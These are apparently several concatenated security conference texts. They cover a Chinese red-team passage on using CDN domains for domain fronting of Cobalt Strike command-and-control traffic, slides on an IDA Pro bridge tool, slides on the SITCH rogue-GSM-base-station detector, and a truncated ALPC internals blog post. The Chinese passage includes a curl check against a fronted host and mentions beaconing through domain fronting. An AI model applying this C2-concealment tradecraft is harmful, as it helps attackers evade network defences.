交给CNAME(CDN⼚商域名)指向的CDN专⽤DNS服务器,CDN的DNS服务器将CDN的全局
负载均衡设备IP地址返回⽬标机器,那就代表着我们的CDN负载的IP历史解析中,是否会有
这样符合标准的域名呢?
1>第⼀种简单的⽅法,⽤站⻓之家的ping功能去ping CNAME记录
(sdwdsdw.xxxxx.com.w.kunlunca.com),然后使⽤威胁平台,⽐如TI、微步在线等进⾏ip解析
域名查询
PS:验证⽅法(curl -k -v https://oss.takeoa.com -H "Host: sdwdsdw.xxxxx.com"),
并查看CS的web log是否有请求记录。
2>第⼆种⽅法,涉及到国内各CDN⼚商CNAME后缀,我们观察阿⾥或者腾讯的CDN申
请以后的CNAME后缀都是有⼀定规则或者说固定域名的。
xxxx.xxx.com.dsa.dnsv1.com
xxxx.xxx.com.w.kunlunca.com
我们通过 nslookup www.cdn.dnsv1.com 可以获得使⽤最近CDN节点的公⽹IP
然后获取其他也托管在该⼚商并使⽤CDN的合法域名(⽐如:xxxxx)
通过威胁情报查询这两个ip或www.cdn.dnsv1.com,查看历史解析。
这些ip上的历史解析都可以⽤,可以继续追寻IDC,寻找
m.leha.com.cdn.dnsv1.com具有.cdn.dnsv1.com的域名,去掉后边,访问前⾯是否
具有https绿标证书
先简单的说两种⽅法,其实这两种可以扩张很多种⼩tips。
0x04 简单流量分析及⽩名单
0x05 结尾
中间可能还有⼀些⽐如Window机器通过Powershell⾛域前置拉取脚本上线、CrossC2通
过域前置上线Linux机器等⼀些⼩tips,我想⼤家也都会,就不嫌丑了,具体的⽹络⾏为分析
及流量分析、检测及解决办法也都略掉了,关于之前聊的⽩名单出⽹场景,就仁者⻅仁,智
者⻅智了,⽤过的都说好。 | pdf |
TOOLSMITHING AN IDA BRIDGE:
A TOOL BUILDING CASE STUDY
Adam Pridgen
Matt Wollenweber
Presentation Agenda
• Motivation and Purpose
• Toolsmithing
• Identifying the short-cuts to meet project needs
• Processes for Expediting Development
• Prototyping, Modifying, Testing, Restart?!?
• Extension development with WinDbg
• Idabridge demonstration
Introductions: Adam
• TODO Add pertinent Information
• Who I am.
• What I have done.
• Where I am going.
Introductions: Matt
• TODO Add pertinent Information
• Who I am.
• What I have done.
• Where I am going.
Motivation and Purpose
• Learn and teach methods for developing tools
• Introduce toolsmithing to those interested in
tool development
• Discuss what we learned from implementing
our tool
• Release an Alpha version of our idabridge
Toolsmithing
• Toolsmithing is the process of making tools
• Tools can be in any space
• Generally, not a standalone application
• Ranges from short scripts to full blown libraries
• Focus on utility not usability
• Takes on the following forms
– X is needed to make Y create widgets
– Z needs to be built, but nothing exists currently
Toolsmithing Tools
• High Level Languages (Python or Ruby)
• HL Programming Environments (iPython)
• Debuggers (PDB, WinDbg, Olly, etc.)
• Network Sniffers for network debugging
• Books and code lying around the home or net
• Anything that gets the job done fast
Our Toolsmithing Process
• Building is Believing
• Loner Development Squads
• The World is Big Chances are it exists
• Don’t reinvent the wheel, steal one
• KISS your tools they love you
Building is Believing
• Good tools are not built overnight
– Sometimes maybe
• Build it once to get an idea
• Build it again because the 2nd time shine
• Third time is a charm
• More than one implementation is likely
– idabridge’s cmd handling took 3 iterations
• Build to what is needed now
Loner Development Squads
• Creating Milestones
– Milestones should aggregate into something
– Keep milestones small when developing alone
– Keep a friend (esp one who cares) on speed dial
• Writing concise and re-usable
– Think about what is being developed
– Make it abstract and re-usable
– Time is critical, if you can think of anything, just go
The World is Big…
• Open Source is the best source for help
• Code can be reviewed and repurposed
• Existing code is fantastic for real-world examples
• Documentation and APIs don’t run in debuggers
• Implementing complex components
– Building a fuzzer, take someone elses protocol impl.
– Building a DNS Mapping tool, use BIND for the DNS
Introducing idabridge
• Extensible network listener for IDA Pro
• Gives IDA users a “remote control”
• Implements a async. Network listener
• Provides extensibility using a Python Class
• Aims to be a middleware layer for other tools:
– Binary Diffing
– Debuggers
– Other frameworks such as Radare
Current State of Tings
• Users are moving to “cloud” based solutions
• Collaboration among analysts and users
• Federation of data
– Moving data from whatever to wherever
• Heterogenous tool chests and chains
• Employers and contracts
– Cool tools are developed, but may not leave
closed environments
Goals and Challenges
• Investigate cloud based reversing tools
• Evaluate the feasibility for a middleware for
our current tools
• Determine what tools will make a difference
• Future direction for supporting technologies
– Cloud based Python Interpreter
– Migration of Binaries and environment for analysis
Idabridge Components
• IDA Pro networking client
• WinDbg network server
• Python environment Exported from IDAPython
• Command Handler for Debuggers and IDA Pro
– VDB/Vtrace
– WinDbg
– IDA Pro
Tools Used for Development
• Visual Studio for C/C++ on Windows
– Debugging a debugger?!?
– IDE
• iPython & Python
– Used to create scripts to write code and classes
– Functional code testing
– Data manipulation and verification
– Server mock-ups to test the initial cmd handling
Development Environments
• Windows 7, 64-bit
– VS 2010
– IPython
• Windows XP VM, 32-bit
– VS 2010
– …
Overall Lessons Learned
• Debugging Debuggers
• Write Scripts to Implement code
– Parsing IDAPython APIs
– Implementing Python Command Handlers
– Writing Long Logic C++ Statements
– Creating Stub Functions
Toolsmithing: Research Phase
• Initial Research and Development: 90 Hours
– Researching code and capabilities (IDA Pro and WinDbg)
– Learning APIs and how to use them
– Planning, Testing, Adjusting
– Includes Coding and Testing
• Created a GUI to simulate a debugger
• Implemented IDA Commands Manually Using C++ only
• Implemented Separate Command Handling on Platforms
• Mostly “Get it working phase”
Toolsmithing: Research Phase
• Lessons Learned
– Write scripts to write code and functions
– Wrote a “dumb” server to send and reply to msg.s
– Documentation is not your friend find examples
– Find examples that have been repeated
Toolsmithing: Phase 2
• Defcon Talk accepted, resumed development
• Development: 60 Hours (2 weeks)
– Developed an Abstract Cmd Handler Based on Names
– Included Typed Argument Marshaling (str, int, long,
byte)
– Combined the Network Stack and Handling
• Never tested and threw out most of the code
• Realized atm there was no added value
• Breakthrough was the command handling
• Combined source and functionality
Toolsmithing: Cmd Handler
• Development: 30 Hours (1.5 weeks)
– Developed the abstract handler
– Added IDAPython Bridge to the mix
• Figured out how to add IDA Python Bridging
Toolsmithing: Cmd Handler
• Development: 20 Hours
– Added Python as the Main Command Handling
– Co-Developed Vtrace/VDB command handling
Idabridge Demonstration
Conclusions
• Creativity, Patience, Persistence, and Tenacity
• Motivation relies on small milestones
• Expectations are limited by time frame
• Tool Code quality != production CQ
• <FINAL PROJECT Data>
Idabridge information
• Special Thanks To:
– Praetorian
– C. Eagle and T. Vidas for Collabreate
– E. Erdelyi for IDAPython
– Pusscat / Lin0xx for Byakugan
• Code URL
– http://TBD
• Presentation URL
– http://TBD
Questions & Comments
– Adam.pridgen@[ thecoverofnight.com ||
praetorian.com]
– [email protected] | pdf |
SITCH
Inexpensive, coordinated GSM anomaly detection
About Me
• 2000: Technology career started (I can get paid for this??)
• 2003: Started building with Linux
• Came to infosec through systems and network engineering, integration
• Security tools and integration (SIEM, HIDS, etc…)
• Current: R&D
–Ashmastaflash
“Thoughts and opinions expressed are my own. If you take
anything away from this talk and act on it, I’m not
responsible if you go to jail, become a pariah, or your dog
stops liking you. Know the laws you’re subject to and
operate accordingly.”
What We’re Covering Today
• Why Care?
• Current Threat and Detection Landscape
• Project Goals
• SITCH: MkI
• SITCH: MkII
• Service Architecture
• Future Plans
• Prior Art
• Q&A
Why Care?
• Invasions of privacy are bad, even when they’re unnoticed.
• Industrial espionage costs money and jobs.
WTF Is Under All That??
Is Anybody Home?
Terminology
• Software Defined Radio (SDR): Using software to perform
signal processing in concert with an adjustable-frequency
RF receiver
• FCCH: Frequency Correction Channel
• ARFCN: Absolute Radio Frequency Channel Number
• CGI: Cell Global ID (MCC + MNC + LAC + CI)
• IMSI: International Mobile Subscriber Identity
GSM Addressing
Threat and Detection Landscape
• Malicious Devices
• Indicators of Attack
• Existing Detection Methods
Hacked Femtocell
Trusted part of provider’s network
Your phone doesn’t know it’s evil
Evil BTS
Handset will automatically associate,
unable to assert trustworthiness
Indicators of Attack
• ARFCN over threshold
• ARFCN outside forecast
• Unrecognized CGI
• Gratuitous BTS re-association
• BTS detected outside of range
Existing Detection Methods
• Commercial Options:
• Pwnie Express
• Bastille Networks
• Open Source:
• Fake BTS
• AIMSICD
• Femto Catcher
Project Goals
• Inexpensive (what can I get for $100?)
• Small footprint, low power requirements preferred
• Functional Targets: Indicators of Attack (IOA) Coverage
Tested Hardware
(some of it, anyway)
Functional Targets
• ARFCN over threshold
• ARFCN outside of forecast
• Unrecognized CGI
• Gratuitous BTS re-association
• BTS detected out of range
SITCH Sensor MkI
SITCH Sensor MkI
MkI Results
Targets
MkI Coverage
ARFCN over threshold
YES
ARFCN outside of forecast
YES
Unrecognized CGI
NO
Gratuitous BTS re-association
NO
BTS detected outside of range
NO
Price
~$100
Start Demo Here!
• Install SD Card
• Confirm registration
• Set device-specific environment variables
• Move from staging to production application
SITCH Service Architecture
SITCH Intelligence Feed
• OpenCellID Database:
• MCC, MNC, Lat, Lon, Range
• Twilio:
• MCC, MNC, CarrierName
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
MkI, MkII Results
Targets
MkI Coverage
MkII Coverage
ARFCN over threshold
YES
YES
ARFCN outside of forecast
YES
YES
Unrecognized CGI
NO
YES
Gratuitous BTS re-association
NO
YES
BTS detected outside of range
NO
YES
Price
~$100
~$150
Return to Demo!
• Slack alerts
• Tessera graphs
• Kibana scan search
• Resin logs
Going Forward
• Automatic device detection
• Device and service heartbeats
• Gnuradio = pure SDR:
• GR-GSM
• ADS-B
• FPV drone
• Dedicated radios:
• Ubertooth One
• YARD Stick One
Prior Art
• DIY Cellular IDS (Davidoff, Fretheim, Harrison, & Price, Defcon 21)
• Traffic Interception and Remote Mobile Phone Cloning with a Compromised
Femtocell (DePerry, Ritter, & Rahimi, Defcon 21)
• Introduction to SDR and the Wireless Village (DaKahuna & Satanklawz, Defcon
23)
• http://fakebts.com - Fake BTS Project (Cabrera, 2014)
• How to Build Your Own Rogue GSM BTS for Fun and Profit (Simone Margaritelli)
• Gnuradio (many)
• Gr-gsm (Krysik, et al.)
• Kalibrate (thre.at)
THANKS!
• John Menerick
• Gillis
• Pedro Cabera
• Piotr Krysik
• Thre.at
• Gnuradio
• Silent Contributors…
Q&A | pdf |
Offensive Windows IPC Internals 3: ALPC
24 May 2022
Contents:
Introduction
ALPC Internals
The Basics
ALPC Message Flow
ALPC Messaging Details
ALPC Message Attributes
Putting the pieces together: A Sample Application
Attack Surface
Identify Targets
Impersonation and Non-Impersonation
Unfreed Message Objects
Conclousion
Appendix A: The use of connection and communication ports
References
Introduction
After talking about two inter-process communication (IPC) protocols that can be uses remotely as
well as locally, namely Named Pipes and RPC, with ALPC we’re now looking at a technology that
can only be used locally. While RPC stands for Remote Procedure Call, ALPC reads out to
Advanced Local Procedure Call, sometimes also referenced as Asynchronous Local Procedure
Call. Especially the later reference (asynchronous) is a reference to the days of Windows Vista
when ALPC was introduced to replace LPC (Local Procedure Call), which is the predecessor IPC
mechanism used until the rise of Windows Vista.
A quick word on LPC
The local procedure call mechanism was introduced with the original Windows NT kernel in 1993-
94 as a synchronous inter-process communication facility. Its synchronous nature meant that
clients/servers had to wait for a message to dispatched and acted upon before execution could
continue. This was one of the main flaws that ALPC was designed to replace and the reason why
ALPC is referred to by some as asynchronous LPC.
ALPC was brought to light with Windows Vista and at least from Windows 7 onward LPC was
completely removed from the NT kernel. To not break legacy applications and allow for
backwards compatibility, which Microsoft is (in)famously known for, the function used to create
an LPC port was kept, but the function call was redirected to not create an LPC, but an ALPC port.
As LPC is effectively gone since Windows 7, this post will only focus on ALPC, so let’s get back to it.
But, if you’re - like me - enjoy reading old(er) documentations of how things started out and how things
used to for work, here’s an article going in some detail about how LPC used to work in Windows NT 3.5:
http://web.archive.org/web/20090220111555/http://www.windowsitlibrary.com/Content/356/08/1.html
Back to ALPC
ALPC is a fast, very powerful and within the Windows OS (internally) very extensively used inter-
process communication facility, but it’s not intended to be used by developers, because to
Microsoft ALPC is an internal IPC facility, which means that ALPC is undocumented and only used
as the underlying transportation technology for other, documented and intended-for-developer-
usage message transportation protocols, for example RPC.
The fact that ALPC is undocumented (by Microsoft), does however not mean that ALPC is a total
blackbox as smart folks like Alex Ionescu have reverse engineered how it works and what
components it has. But what it does mean is that you shouldn’t rely on any ALPC behavior for any
long-term production usage and even more you really shouldn’t use ALPC directly to build
software as there are a lot of non-obvious pitfalls that could cause security or stability problems.
If you feel like you could hear another voice on ALPC after reading this post, I highly recommend
listening to Alex’s ALPC talk from SyScan’14 and especially keep an ear open when Alex talks
about what steps are necessary to release a mapped view (and that’s only addressing views) from
your ALPC server, which gets you at around minute 33 of the talk.
So what I’m saying here is:
ALPC is a very interesting target, but not intended for (non-Microsoft) usage in
production development. Also you shouldn’t rely on all the information in this post
being or continue to be 100% accurate as ALPC is undocumented.
ALPC Internals
Alright let’s get into some ALPC internals to understand how ALPC works, what moving parts are
involved in the communications and how the messages look like to finally get an idea of why ALPC
might be an interesting target from an offensive security standpoint.
The Basics
To get off from the ground it should be noted that the primary components of ALPC
communications are ALPC port objects. An ALPC port object is a kernel object and its use is similar
to the use of a network socket, where a server opens a socket that a client can connect to in order
to exchange messages.
If you fire up WinObj from the Sysinternals Suite, you’ll find that there are many ALPC ports
running on every Windows OS, a few can be found under the root path as shown below:
… but the majority of ALPCs port are housed under the ‘RPC Control’ path (remember that RPC
uses ALPC under the hood):
To get started with an ALPC communication, a server opens up an ALPC port that clients can
connect to, which is referred to as the ALPC Connection Port, however, that’s not the only ALPC
port that is created during an ALPC communication flow (as you’ll see in the next chapter).
Another two ALPC ports are created for the client and for the server to pass messages to.
So, the first thing to make a mental note of is:
There are 3 ALPC ports in total (2 on the server side and 1 on the client side) involved in an
ALPC communication.
The ports you saw in the WinObj screenshot above are ALPC Connection Ports, which are
the ones a client can connect to.
Although there are 3 ALPC ports used in total in an ALPC communication and they all are referred
to by different names (such as “ALPC Connection Ports”), there is only a single ALPC port kernel
object, which all three ports, used in an ALPC communication, instantiate. The skeleton of this
ALPC kernel object looks like this:
As it can be seen above the ALPC kernel object is a quite complex kernel object, referencing
various other object types. This makes it an interesting research target, but also leaves some good
margin for errors and/or missed attack paths.
ALPC Message Flow
To dig deeper into ALPC we’ll have a look into the ALPC message flow to understand how
messages are sent and how these could look like. First of all we’ve already learned that 3 ALPC
port objects are involved in an ALPC communication scenario, with the first one being the ALPC
connection port that is created by a server process and that clients can connect to (similar to a
network socket). Once a client connects to a server’s ALPC connection port, two new ports are
created by the kernel called ALPC server communication port and ALPC client communication
port.
Once the server and client communication ports are established both parties can send messages
to each other using the single function NtAlpcSendWaitReceivePort exposed by ntdll.dll.
The name of this function sounds like three things at once - Send, Wait and Receive - and that’s
exactly what it is. Server and client use this single function to wait for messages, send messages
and receive messages on their ALPC port. This sounds unnecessary complex and I can’t tell you
for sure why it was build this way, but here’s my guess on it: Remember that ALPC was created as
a fast and internal-only communication facility and the communication channel was build around
a single kernel object (the ALPC port). Using this 3-way function allows to do multiple operations,
e.g. sending and receiving a message, in a single call and thus saves time and reduces user-
kernel-land switches. Additionally, this function acts as a single gate into the message exchange
process and therefore allows for easier code change and optimizations (ALPC communication is
used in a lot of different OS components ranging from kernel drivers to user GUI applications
developed by different internal teams). Lastly ALPC is intended as an internal-only IPC mechanism
so Microsoft does not need to design it primarily user or 3rd party developer friendly.
Within this single function you also specify what kind of message you want to send (there are
different kinds with different implications, we’ll get to that later on) and what other attributes you
want to send along with your message (again we’ll get to the things that you can send along with a
message later on in chapter ALPC Message Attributes).
So far this sounds pretty straight forward: A server opens a port, a client connects to it, both
receive a handle to a communication port and send along messages through the single function
NtAlpcSendWaitReceivePort … easy.
We’ll on a high level it is that easy, but you surely came here for the details and the title of the
post said “internals” so let’s buckle up for a closer look:
1. A server process calls NtAlpcCreatePort with a chosen ALPC port name, e.g. ‘CSALPCPort’, and
optionally with a SecurityDescriptor to specify who can connect to it.
The kernel creates an ALPC port object and returns a handle this object to the server, this
port is referred to as the ALPC Connection Port
2. The server calls NtAlpcSendWaitReceivePort, passing in the handle to its previously created
connection port, to wait for client connections
3. A client can then call NtAlpcConnectPortwith:
The name of the server’s ALPC port (CSALPCPort)
(OPTIONALLY) a message for the server (e.g. to send a magic keyword or whatever)
(OPTIONALLY) the SID of server to ensure the client connects to the intended server
(OPTIONALLY) message attributes to send along with the client’s connection request
(Message attributes will be detailed in chapter ALPC Message Attributes)
4. This connection request is then passed to the server, which calls NtAlpcAcceptConnectPort to
accept or reject the client’s connection request.
(Yes, although the function is named NtAlpcAccept… this function can also be used to reject
client connections. This functions last parameter is a boolean value that specifies if
connection are accepted (if set to true ) or rejected (if set to false ).
The server can also:
(OPTIONALLY) return a message to the client with the acceptance or denial of the
connection request and/or…
(OPTIONALLY) add message attributes to that message and/or ..
(OPTIONALLY) allocate a custom structure, for example a unique ID, that is attached to
the server’s communication port in order to identify the client
— If the server accepts the connection request, the server and the client each receive a
handle to a communication port —
5. Client and server can now send and receive messages to/from each other via
NtAlpcSendWaitReceivePort, where:
The client listens for and sends new messages to its communication port
The server listens for and sends new messages to its connection port
Both the client and the server can specify which message attributes (we’ll get to tht in a
bit) they want to receive when listening for new messages
… wait a minute… Why is the server sending/receiving data on the connection port instead of its
communication port, since it has a dedicated communication port?… This was one of the many things
that puzzled me on ALPC and instead of doing all the heavy lifting reversing work to figure that out
myself, I cheated and reached out to Alex Ionescu and simply asked the expert. I put the answer in
Appendix A at the end of this post, as I don’t want to drive too far away from the message flow at this
point… sorry for the cliff hanger …
Anyhow, looking back at the message flow from above, we can figure that client and server are
using various functions calls to create ALPC ports and then sending and receiving messages
through the single function NtAlpcSendWaitReceivePort . While this contains a fair amount of
information about the message flow it’s important to always be aware that server and client do
not have a direct peer-to-peer connection, but instead route all messages through the kernel,
which is responsible for placing messages on message queues, notifying each party of received
messages and other things like validating messages and message attributes. To put that in
perspective I’ve added some kernel calls into this picture:
Server process
Client process
Connection Port
- Port name
- Port Attributes
- Object Attribute (e.g. SID)
handle:
hConnectionPort
NtAlpcCreatePort
Kernel
AlpcpCreateConnectionPort
NtAlpcSendWaitReceivPort
hConnectionPort,
msgReceiveBuffer,
msgReceiveAttributes
NtAlpcSendWaitReceivPort
AlpcpReceiveMessage
NtAlpcConnectPort
handle:
hCommunicationPort
msgSendBuffer,
msgReceiveAttributes
NtAlpcConnectPort
...
NtAlpcAcceptConnectPort
hConnectionPort,
msgSendBuffer,
msgSendAttributes,
boolAcceptOrDeny
Communication Port
- Port Attributes
- Object Attribute (e.g. SID)
NtAlpcSendWaitReceivPort
hConnectionPort,
msgSendBuffer,
msgSendAttributes,
msgReceiveBuffer,
msgReceiveAttributes
Communication Port
- Port Attributes
- Object Attribute (e.g. SID)
AlpcpAcceptConnectPort
handle:
hConnectionPort
NtAlpcSendWaitReceivPort
hCommunicationPort,
msgSendBuffer,
msgSendAttributes,
msgReceiveBuffer,
msgReceiveAttributes
AlpcpReceiveMessage
AlpcpReceiveMessage
AlpcpSendMessage
NtAlpcSendWaitReceivPort
AlpcpSendMessage
...
I have to admit on a first glance this is diagram is not super intuitive, but I’ll promise things will get
clearer on the way, bear with me.
To get a more complete picture of what ALPC looks like under the hood, we need to dive a little
deeper into the implementation bits of ALPC messages, which I’ll cover in the following section.
ALPC Messaging Details
Okay so first of all, let’s clarify the structure of an ALPC message. An ALPC message always consist
of a, so called, PORT_HEADER or PORT_MESSAGE, followed by the actual message that you want to
send, e.g. some text, binary content, or anything else.
In plain old C++ we can define an ALPC message with the following two structs:
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[100]; // using a byte array of size 100 to store my
actual message
} ALPC_MESSAGE, * PALPC_MESSAGE;
typedef struct _PORT_MESSAGE
{
union {
struct {
USHORT DataLength;
In order to send a message all we have to do is the following:
USHORT TotalLength;
} s1;
ULONG Length;
} u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize;
ULONG CallbackId;
};
} PORT_MESSAGE, * PPORT_MESSAGE;
// specify the message struct and fill it with all 0's to get a clear start
ALPC_MESSAGE pmSend, pmReceived;
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived));
// getting a pointer to my payload (message) byte array
LPVOID lpPortMessage = pmSend->PortMessage;
LPCSTR lpMessage = "Hello World!";
int lMsgLen = strlen(lpMessage);
// copying my message into the message byte array
memmove(lpPortMessage, messageContent, lMsgLen);
// specify the length of the message
pMessage->PortHeader.u1.s1.DataLength = lMsgLen;
// specify the total length of the ALPC message
pMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + lMsgLen;
// Send the ALPC message
NTSTATUS lSuccess = NtAlpcSendWaitReceivePort(
hCommunicationPort, // the client's communication port handle
ALPC_MSGFLG_SYNC_REQUEST, // message flags: synchronous message (send &
receive message)
(PPORT_MESSAGE)&pmSend, // our ALPC message
NULL, // sending message attributes: we don't need that in
the first step
(PPORT_MESSAGE)&pmReceived, // ALPC message buffer to receive a message
&ulReceivedSize, // SIZE_T ulReceivedSize; Size of the received
message
NULL, // receiving message attributes: we don't need that
in the first step
0 // timeout parameter, we don't want to timeout
);
This code snippet will send an ALPC message with a body of “Hello World!” to a server that we’ve
connect to. We specified the message to be synchronous message with the
ALPC_MSGFLG_SYNC_REQUEST flag, which means that this call will wait (block) until a message is
received on the client’s communication port.
Of course we do not have to wait until a new message comes in, but use the time until then for
other tasks (remember ALPC was build to be asynchronous, fast and efficient). To facilitate that
ALPC provides three different message types:
Synchronous request: As mentioned above synchronous messages block until a new
message comes in (as a logical result of that one has to specify a receiving ALPC message
buffer when calling NtAlpcSendWaitReceivePort with a synchronous messages)
Asynchronous request: Asynchronous messages send out your message, but not wait for
or act on any received messages.
Datagram requests: Datagram request are like UDP packets, they don’t expect a reply and
therefore the kernel does not block on waiting for a received message when sending a
datagram request.
So basically you can choose to send a message that expects a reply or one that does not and
when you chose the former you can furthermore chose to wait until the reply comes in or don’t
wait and do something else with your valuable CPU time in the meantime. That leaves you with
the question of how to receive a reply in case you chose this last option and not wait
(asynchronous request) within the NtAlpcSendWaitReceivePort function call?
Once again you have 3 options:
You could use an ALPC completion list, in which case the kernel does not inform you (as the
receiver) that new data has been received, but instead simply copies the data into your
process memory. It’s up to you (as the receiver) to get aware of this new data being present.
This could for example achieved by using a notification event that is shared between you and
the ALPC server¹. Once the server signals the event, you know new data has arrived.
¹Taken from Windows Internals, Part 2, 7th Edition.
You could use an I/O completion port, which is a documented synchronization facility.
You can receive a kernel callback to get replies - but that is only allowed if your process lives
in kernel land.
As you have the option to not receive messages directly it is not unlikely that more than one
message comes in and waits for being fetched. To handle multiple messages in different states
ALPC uses queues to handle and manage high volumes of messages piling up for a server. There
are five different queues for messages and to distinguish them I’ll quote directly from chapter 8 of
Windows Internals, Part 2, 7th Edition (as there is no better way to put this with these few words):
Main queue: A message has been sent, and the client is processing it.
Pending queue: A message has been sent and the caller is waiting for a reply, but the
reply has not yet been sent.
Large message queue: A message has been sent, but the caller’s buffer was to small
to receive it. The caller gets another chance to allocate a larger buffer and request the
message payload again.
Canceled queue: A message that was sent to the port but has since then been
canceled.
Direct queue: A message that was sent with a direct event attached.
At this point I’m not going to dive any deeper into message synchronization options and the
different queues - I’ve got to make a cut somewhere - however in case someone is interested in
finding bugs in these code areas I can highly recommend a look into chapter 8 of the amazing
Windows Internals, Part 2, 7th Edition. I learned a lot from this book and can’t praise it enough!
Finally, concerning the messaging details of ALPC, there is a last thing that hasn’t been detailed
yet, which is the question of how is a message transported from a client to a server. It has been
mentioned what kind of messages can be send, how the structure of a message looks like, what
mechanism exist to synchronize and stall messages, but it hasn’t been detailed so far how a
message get’s from one process to the other.
You’ve got two options for this:
Double buffer mechanism: In this approach a message buffer is allocated in the sender’s
and receiver’s (virtual) memory space and the message is copied from the sender’s (virtual)
memory into the kernel’s (virtual) memory and from there into the receiver’s (virtual)
memory. It’s called double buffer, because a buffer, containing the message, is allocated and
copied twice (sender -> kernel & kernel -> receiver).
Section object mechanism: Instead of allocating a buffer to store a message, client and
server can also allocate a shared memory section, that can be accessed by both parties, map
a view of that section - which basically means to reference a specific area of that allocated
section - copy the message into the mapped view and finally send this view as a message
attribute (discussed in the following chapter) to the receiver. The receiver can extract a
pointer to the same view that the sender used through the view message attribute and read
the data from this view.
The main reason for using the ‘section object mechanism’ is to send large messages, as the length
of messages send through the ‘double buffer mechanism’ have a hardcoded size limit of 65535
bytes. An error is thrown if this limit is exceeded in a message buffer. The function
AlpcMaxAllowedMessageLength() can be used to get the maximum message buffer size, which
might change in future versions of Windows.
This ‘double buffer mechanism’ is what was used in the code snippet from above. Looking back a
message buffer for the send and the received message has been implicitly allocated via the first
three lines of code:
This message buffer has then been passed to the kernel in the call to
NtAlpcSendWaitReceivePort , which copies the sending buffer into the receiving buffer on the
other side.
We could also dig into the kernel to figure out how an ALPC message (send via message buffers)
actually looks like. Reversing the NtAlpcSendWaitReceivePort leads us to the kernel function
AlpcpReceiveMessage , which eventually calls - for our code path - into AlpcpReadMessageData ,
where the copying of the buffer happens.
Side note: If you’re interested in all the reversing details I left out here check out my follow up post:
Debugging and Reversing ALPC
At the end of this road you’ll find a simple RtlCopyMemory call - which is just a macro for memcpy
- that copies a bunch of bytes from one memory space into another - it’s not as fancy as one
might have expected it, but that’s what it is ¯*(ツ)*/¯.
ALPC_MESSAGE pmSend, pmReceived; // these are the message buffers
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived));
To see that in action I’ve put a breakpoint into the AlpcpReadMessageData function shown above
for my ALPC server process. The breakpoint is triggered once my ALPC client connects and sends
an initial message to the server. The message that the client sends is the: Hello Server . The
annotated debug output is shown below:
[Pseudo Signature]
memcpy(PointerToDestination, PointerToSource, LengthToCopy)
[Translated to calling convention] memcpy(@RCX,
,@RDX, ,R8)
This memcpy call copies the client's message from kernel memory to server memory
These debug screens show what an ALPC message send through a message buffer looks like…just
bytes in a process memory.
Also note that the above screens is a visual representation of the ‘double buffer mechanism’ in it’s
2nd buffer copy stage, where a message is copied from kernel memory space into the receiver’s
process memory space. The copy action from sender to kernel space has not been tracked as the
breakpoint was only set for the receiver process.
ALPC Message Attributes
Alright, there’s one last piece that needs to be detailed before putting it all together, which is ALPC
message attributes. I’ve mentioned message attributes a few times before, so here is what that
means.
When sending and receiving messages, via NtAlpcSendWaitReceivePort , client and server can
both specify a set of attributes that they would like to send and/or receive. These set of attributes
that one wants to send and the set of attributes that one wants to receive are passed to
NtAlpcSendWaitReceivePort in two extra parameters, shown below:
The idea here is that as sender you can pass on additional information to a receiver and the
receiver on the other end can specify what set of attributes he would like to get, meaning that not
necessarily all extra information that was send is also exposed to the receiver.
The following message attributes can be send and/or received:
Security Attribute: The security attribute holds security context information, which for
example can be used to impersonate the sender of a message (detailed in the Impersonation
section). This information is controlled and validated by the kernel. The structure of this
attribute is shown below:
View Attribute: As described towards the end of the Messaging Details chapter, this
attribute can be used to pass over a pointer to a shared memory section, which can be used
by the receiving party to read data from this memory section. The structure of this attribute
is shown below:
Context Attribute: The context attribute stores pointers to user-specified context structures
that have been assigned to a specific client (communication port) or to a specific message.
The context structure can be any arbitrary structure, for example a unique number, and is
meant to identify a client. The server can extract and reference the port structure to uniquely
identify a client that send a message. An example of a port structure I used, can be found
here. The kernel will set in the sequence number, message ID and callback ID to enable
structured message handling (similar to TCP). This message attribute can always be
extracted by the receiver of a message, the sender does not have to specify this and cannot
prevent the receiver from accessing this. The structure of this attribute is shown below:
typedef struct _ALPC_SECURITY_ATTR {
ULONG Flags;
PSECURITY_QUALITY_OF_SERVICE pQOS;
HANDLE ContextHandle;
} ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR;
typedef struct _ALPC_DATA_VIEW_ATTR {
ULONG Flags;
HANDLE SectionHandle;
PVOID ViewBase;
SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR;
Handle Attribute: The handle attribute can be used to pass over a handle to a specific
object, e.g. to a file. The receiver can use this handle to reference the object, e.g. in a call to
ReadFile. The kernel will validate if the passed handle is valid and raise and error otherwise.
The structure of this attribute is shown below:
Token Attribute: The token attribute can be used to pass on limited information about the
sender’s token. The structure of this attribute is shown below:
Direct Attribute: The direct attribute can be used to associate a created event with a
message. The receiver can retrieve the event created by the sender and signal it to let the
sender know that the send message was received (especially useful for datagram requests).
The structure of this attribute is shown below:
Work-On-Behalf-Of Attribute: This attribute can be used to send the work ticket that is
associated with the sender. I haven’t played around with this so I can’t go in any more detail.
The structure of this attribute is shown below:
typedef struct _ALPC_CONTEXT_ATTR {
PVOID PortContext;
PVOID MessageContext;
ULONG Sequence;
ULONG MessageId;
ULONG CallbackId;
} ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR;
typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION {
ULONG Index;
ULONG Flags;
ULONG Handle;
ULONG ObjectType;
ACCESS_MASK GrantedAccess;
} ALPC_MESSAGE_HANDLE_INFORMATION, * PALPC_MESSAGE_HANDLE_INFORMATION;
typedef struct _ALPC_TOKEN_ATTR
{
ULONGLONG TokenId;
ULONGLONG AuthenticationId;
ULONGLONG ModifiedId;
} ALPC_TOKEN_ATTR, * PALPC_TOKEN_ATTR;
typedef struct _ALPC_DIRECT_ATTR
{
HANDLE Event;
} ALPC_DIRECT_ATTR, * PALPC_DIRECT_ATTR;
typedef struct _ALPC_WORK_ON_BEHALF_ATTR
{
ULONGLONG Ticket;
